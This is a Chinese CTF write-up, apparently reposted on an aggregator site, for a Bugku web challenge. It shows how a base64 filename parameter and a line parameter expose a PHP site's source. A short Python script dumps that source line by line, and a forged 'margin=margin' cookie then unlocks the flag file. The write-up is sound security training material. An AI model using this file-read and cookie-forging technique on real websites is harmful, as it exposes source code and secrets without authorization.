Bugku_CTF Writeup 之 cookies欺骗
Posted izayoi
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Bugku_CTF Writeup 之 cookies欺骗相关的知识,希望对你有一定的参考价值。
题目描述:
http://120.24.86.145:8002/web11/
答案格式:KEY{xxxxxxxx}
1.开局一个url与一串乱码:
http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaeru
baufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrs
gbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrb
gtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbai
envdivrbgtubgtrsgb......(此处省略千字)
2.原url有两个参数
(1)line=
(2)filename=a2V5cy50eHQ=
3. 对a2V5cy50eHQ=用base64解码,得到其明文是key.txt
猜测filename参数会决定所返回的页面(可能是源码),传递的参数要是base64密文形式,来交给后台base64.decode()
那就传递index.php喽,对应的base64密文是aW5kZXgucGhw
http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw
4.访问http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw
发现页面...空了......
line参数是否决定了返回哪一行呢?
5.令line=1、2、3...n...
都得到一段php代码的第n行
python脚本帮助获取全部代码
1 import requests 2 ses=requests.session() 3 url=‘http://120.24.86.145:8002/web11/index.php‘ 4 for i in range(0,30): 5 payload={‘line‘:i,‘filename‘:‘aW5kZXgucGhw‘} 6 result=ses.get(url,params=payload).text 7 print(result)
6.得到php源码
1 <?php 2 3 error_reporting(0); 4 5 $file=base64_decode(isset($_GET[‘filename‘])?$_GET[‘filename‘]:""); 6 7 $line=isset($_GET[‘line‘])?intval($_GET[‘line‘]):0; 8 9 if($file==‘‘) header("location:index.php?line=&filename=a2V5cy50eHQ="); 10 11 $file_list = array( 12 13 ‘0‘ =>‘keys.txt‘, 14 15 ‘1‘ =>‘index.php‘, 16 17 ); 18 19 20 21 if(isset($_COOKIE[‘margin‘]) && $_COOKIE[‘margin‘]==‘margin‘){ 22 23 $file_list[2]=‘keys.php‘; 24 25 } 26 27 28 29 if(in_array($file, $file_list)){ 30 31 $fa = file($file); 32 33 echo $fa[$line]; 34 35 } 36 37 ?>
7.代码最后会输出一个文件的内容,至于会输出哪个文件的,就看我们如何提交参数啦
我们想得到的当然是keys.php的内容,接下来看看得如何构造参数
将keys.php的base64密文传入做为filename的参数
但要将keys.php加入候选文件序列$file_list中,还需要cookies中保存的键值对为margin=margin
8.burpsuite改包
在此之前先用burpsuite得到keys.php的base64密文:a2V5cy5waHA=
再发包、截包、改包三连:(1)filename的值赋为a2V5cy5waHA=
(2)添加Cookie:margin=margin
得到flag:
以上是关于Bugku_CTF Writeup 之 cookies欺骗的主要内容,如果未能解决你的问题,请参考以下文章
Bugku_CTF Writeup 之 管理员系统 (60)